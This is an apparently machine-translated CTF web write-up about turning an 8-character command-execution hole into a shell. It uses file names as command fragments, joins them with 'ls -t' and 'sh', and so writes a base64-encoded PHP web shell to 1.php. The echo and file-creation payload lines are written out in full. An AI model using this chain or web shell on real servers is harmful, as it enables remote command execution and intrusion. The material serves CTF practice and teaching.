当前位置:网站首页>CTF_ Web:8-bit controllable character getshell
CTF_ Web:8-bit controllable character getshell
2022-06-25 04:30:00 【AFCC_】
Title source
Practicing recently CTF Medium web I encountered a problem 8 You can execute commands at will within characters , In the end getshell The subject of , I found that many predecessors have written this type of problem solution , But you also need to practice yourself , The title source code is accessed as shown in the figure :
Ideas : You can see that when the submitted parameters 1 Contains values less than 8 When a , Will be executed as a command , First ?1=ls All file names were found to exceed 8 position , Obviously, this alone 8 Bit execution commands are not sufficient cat Some document , So you need to execute the code with the spliced file name getshell.
Use knowledge points to solve problems
>a " stay linux This file will be created directly in , But there's no content "
ls -t " Arrange the files in the directory in chronological order , The last one created comes first "
sh a " Will file a All the contents of the are executed with the command "
who/
am/
i "Linux Command splices in / Will follow the order whoami perform "
for example 
In this topic is to write a one sentence Trojan horse to a file , Then visit this sentence to getshell, The command used here to create a sentence is :
echo <?php echo shell_exec($_GET[1]); >1.php " Easy to view echo "
echo PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUWzFdKTs=|base64 -d>1.php " Use base64 To avoid $ Failed to input special characters "
Input this passage in reverse order and then use it ls -t>0 Execute in the positive order input text , You can generate a one sentence Trojan horse , Note that all characters must be \ escape .
>hp
>1.p\\
>d\>\\
>\ -\\
>64\ \\
>base\\
>\=\|\\
>dKTs\\
>UWzF\\
>fR0V\\
>jKCR\\
>leGV\\
>sbF9\\
>zaGV\\
>obyB\\
>gZWN\\
>waHA\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
Use cat a see ls -t Written content 
Use ls see sh a Whether the generation was successfully executed 1.php
And connect to use mv flag.php flag.txt take flag It is amended as follows txt Format .
Final visit flag.txt obtain flag
边栏推荐
- NFT insider 63: the sandbox reached a cooperation with Time magazine, and YGG established Spain's subdao
- 95% of programmers fish here
- Laravel document sorting 2. Route related
- Laravel document sorting 7. View
- A detailed summary of TCP connection triple handshake
- 2. play the chromatic harmonica
- A detailed summary of four handshakes (or four waves) over TCP connections
- Simple integration of client go gin 11 delete
- PHP extracts and analyzes table contents, and collects bidding information
- SQL, CTE, flg case problems
猜你喜欢

"Renaissance" in the digital age? The bottom digital collection makes people happy and sad

Is opencv open source?

WMS仓储管理系统的使用价值,你知道多少

Error 1062 is reported during MySQL insertion, but I do not have this field.

"Comment positionner l'industrie" dans la planification industrielle locale / parc

Cesium graphic annotation circle, square, polygon, ellipse, etc

无法安装redis接口

PHP extracts and analyzes table contents, and collects bidding information

Can Navicat directly operate the Android database SQLite

单元测试覆盖率
随机推荐
Nodejs 通过Heidisql连接mysql出现ER_BAD_DB_ERROR: Unknown database 'my_db_books'
Numpy NP tips: use OpenCV to interpolate and zoom the array to a fixed shape cv2 resize(res, dsize=(64, 64), interpolation=cv2. INTER_ CUBIC)
[proteus simulation] Arduino uno key controls the flashing increase / decrease display of nixie tube
What is persistence? What are RDB and AOF in redis persistence?
Laravel document sorting 10. Request life cycle
kenlm
【LeetCode】143. 重排链表
SEO的5大关键指标:排名+流量+会话+停留时长+跳出率
SQL注入详解
PostgreSQL数据库WAL——RM_HEAP_ID日志记录动作
Laravel document sorting 6. Response
马斯克发布人形机器人,AI对马斯克为什么意义重大?
Win10 environment phpstudy2016 startup failure record
DAP data scheduling function improvement description
单元测试覆盖率
[kubernetes series] installation and use of Helm
Flutter FittedBox组件
Comparison of towe/ JIRA / tapd / Zen collaboration platforms
UCLA | generative pre training for black box optimization
2021.8.29 notes: register, bit operation, pointer, structure